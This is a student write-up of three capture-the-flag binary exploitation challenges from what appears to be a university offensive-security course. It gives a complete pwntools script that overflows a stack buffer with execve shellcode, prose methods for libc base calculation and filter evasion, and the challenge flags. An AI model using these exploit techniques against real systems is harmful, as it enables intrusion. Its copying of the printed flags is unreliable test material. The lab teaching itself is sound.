wk6 - shellcode, GOT

Theme: intro to pwn ("pop a shell")

old school (50)

Solve

Complete initial recon on the binary using readelf -h old_school and Binary Ninja. This binary is a no-PIE, so all addresses shown on Binary Ninja are absolute, not offsets. Scoping out the program flow on Binja, the program prints out the runtime address of the buffer which lives on the stack, then uses gets() to receive user input. Our strategy is to inject custom assembly code in raw bytes, and direct the program to where we injected it so our assembly code runs to make an execve() call to spawn a shell. Where we inject our assembly is going to be where the buffer lives. This is why we will attempt to clobber the return address such that it equals the address of the buffer.

Our goal is to spawn a shell, which we'll do by calling execve(). Let's construct the assembly code to run execve. The first argument needs to be a pointer to the string "/bin/sh". Heading over to .rodata (read only data) section on Binja, we see there's an interesting variable called just_a_string at 0x402008. Use gdb on the binary and run x/s 0x402008, and we see that this variable contains "/bin/sh". We can simply put this address into $rdi for the first argument to execve(). Next up, for execve's second and third arguments, we can simply assign them the value 0. That's equivalent to giving them pointers to a place in memory containing the null byte. We don't need the second argument (argv, or command-line arguments) because we're not passing anything from the command line to execve, and we don't need the third argument to specify environment variables because our program "/bin/sh" does not rely on any environment variables. Lastly, we need to set $rax to 0x3b, which is the system call number for execve. After all registers are set, we simply have to make the syscall.

(An alternative way to deal with the second and third args to execve here is to find somewhere in the binary that contains the null byte, for example 0x402004, and put the address into $rsi and $rdx. It would work as well)

For the actual payload to send, we are first sending the raw bytes of the assembly code we designed. Next, we need to send filler bytes up until the return address. Looking at Binja's stack view, we find that the buffer is 0x38 bytes long. The amount of filler we need is the difference between 0x38 and the length (in bytes) of our assembly code. Lastly, we'd send 8 bytes of the address of the buffer that is printed out for us as our desired return address. If successful, the moment the return address gets popped off the stack and put into $rip, our assembly code will run and a shell will be spawned.

A Python script using pwntools, asm (to convert assembly into bytes) and p64 (to pack numbers into 8 bytes, little-endian) is written to solve this challenge. See below.

Script

from pwn import *

context.log_level = "DEBUG"
context.terminal = ["tmux", "splitw", "-f", "-h"]
context.arch = "amd64"
  
p = remote("offsec-chalbroker.osiris.cyber.nyu.edu",1290)
p.recvuntil("23): ".encode())
p.sendline("[ID]".encode())  # enter your Net ID
p.recvuntil(b"at: ")

# this program leaks the buf addr - use this to clobber return addr bc it's where we inject our assembly code
buf_addr = int(p.recvuntil(b"\n", drop=True), 16) # drop=True to exclude the \n char

p.recvuntil(b">")

# assembly code: prepare registers for execve() syscall
# set rsi and rdx to 0 to indicate not passing in arrays
s_instr = asm('''
mov rdi, 0x402008
mov rax, 0x3b
mov rsi, 0
mov rdx, 0
syscall
''')

amount_of_filler = 0x38 - len(s_instr) # buf is 0x38 bytes; fill in gap between our assembly and the return addr
filler = b"A" * amount_of_filler

p.sendline(s_instr + filler + p64(buf_addr))
p.interactive()
chevron-rightFlaghashtag

flag{th4t_buff3r_w4s_th3_p3rf3ct_pl4c3_t0_wr1t3_y0ur_sh3llc0de!_4cb1c2250ce55e82}

assembly (50)

Solve

Use readelf to find that this binary is no-PIE. All addresses seen on Binja are absolute. Head to Binja to scope out the program. This program accepts user input into a buffer that is writeable and executable. Besides main(), there's a function called print_flag(). As long as validate(buffer, number of bytes read) does not equal zero, the code at the buffer will be called. This happens as long as no 0x62-0x69-0x6e nor 0x73-0x79-0x73 byte sequence appears anywhere in the buffer.

Our strategy is to enter assembly code that moves the address of print_flag into a register, say, rax, and run call rax. Write a pwntools script to do so. At first it won't work. Use gdb to step through the code where it crashes. Inspect the rsp register to realize that it's not 16-bit aligned. We add one more line to the assembly code, which subtracts 8 from rsp to align it, such that call can execute. Print out the raw bytes of our assembly to ensure it does not contain the two illegal byte sequences, which prevents buffer from being run.

Script

chevron-rightFlaghashtag

flag{l0w_l3v3l_pr0gr4mm1ng_l1k3_4_pr0!_957bbfe3b20f6d11}

back to glibc (150)

Solve

This is a PIE file, which means all addresses are just offsets. Actual addresses are resolved at runtime. Run the program once and look through main() on Binja. It leaks for us the absolute address of printf, a glibc function. From the libc.so.6 file (our local version when testing locally; actual libc.so.6 when exploiting remote server), we can grep for printf and find its offset: readelf -Ws back_to_glibc | grep printf. Then, using the equation glibc_base = printf absolute addr - printf offset, we can calculate the base address of glibc, or where glibc is loaded in at runtime. Note that all addresses inside libc.so.6 are offsets relative to this glibc base address. The glibc base address gets randomized every time due to ASLR, even if the binary is no-PIE.

Our goal is to run execve to pop a shell. That requires us to put a pointer to the string "/bin/sh" into $rdi. Where can the string be found? Answer is within the libc.so.6, as the shared libraries contains this string in order to make sys calls.

Run strings -a -t x libc.so.6 | grep "/bin/sh" to find the offset of "/bin/sh" relative to glibc's base address. Use the equation binsh absolute = binsh offset + glibc base which we calculated previously to calculate the actual address of the string.

Once found, we are ready to construct the assembly code payload. Use a format string in python to move the "/bin/sh" pointer we calculated into $rdi. Set $rsi and $rdx to zero as we don't care about input arguments nor environment variables. Move 0x3b into $rax for the execve() syscall number. Finally, make the syscall.

Write a python script to receive the leaked printf address and send our assembly payload.

Script

chevron-rightFlaghashtag

flag{y0u_r3_gonna_be_us1ng_gl1bc_4_l0t!_f35a4ba2e863a22d}

Last updated